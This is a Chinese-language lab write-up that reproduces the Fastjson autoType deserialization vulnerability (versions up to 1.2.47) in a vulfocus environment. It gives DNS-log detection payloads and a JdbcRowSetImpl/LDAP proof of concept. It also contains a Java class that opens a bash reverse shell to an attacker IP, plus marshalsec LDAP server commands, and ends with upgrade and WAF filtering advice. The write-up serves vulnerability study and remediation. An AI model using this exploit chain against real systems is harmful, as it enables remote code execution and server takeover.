漏洞描述
FastJson 库是 Java 的一个 Json 库,其作用是将 Java 对象转换成 json 数据来表示,也可以将 json 数据转换成 Java 对象,使用非常方便,号称是执行速度最快的库。
在 1.2.24 版本的 Fastjson 出现了一个反序列化的漏洞,fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
漏洞影响版本
fastjson <= 1.2.47
漏洞复现过程
漏洞环境搭建
- 搭建vulfocus漏洞环境
- 启动“vulfocus/fastjson-cnvd_2017_02833”
3. 访问页面显示如下说明环境正常
特征判断
可以通过DNS回显的方式检测后端是否使用Fastjson
构造请求如下:
1 | POST / HTTP/1.1 |
其他回显方式:
1 | {"@type":"java.net.Inet4Address","val":"dnslog"} |
fastjson1.2.47以下版本通杀poc:
1 | { |
其中{“@type”:”com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:”ldap://asdfasfd/“, “autoCommit”:true}也可以替换成其他利用链
攻击机环境配置
centos7服务器,可通外网
修改 java 恶意类代码保存为 TouchFile.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/IP/1888 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}将恶意java代码上传到攻击机,并使用javac编译(需安装jdk1.8并配置环境变量)
使用 python -m SimpleHTTPServer 快速搭建http服务
访问ip+1111端口号,证明http服务搭建正确
服务器收到响应
开启ldap服务
使用git下载marshalsec,mvn编译marshalsec
1
2
3git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests使用marshalsec开启ldap服务
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#TouchFile 9999
nc监听1888端口
构造payload发送请求
5. ldap服务收到请求
6. 监听的1888端口成功反弹shell,拿到flag
修复建议
- 升级Fastjson到最新版
- WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
- 最少升级到1.2.48以上版本且关闭autotype选项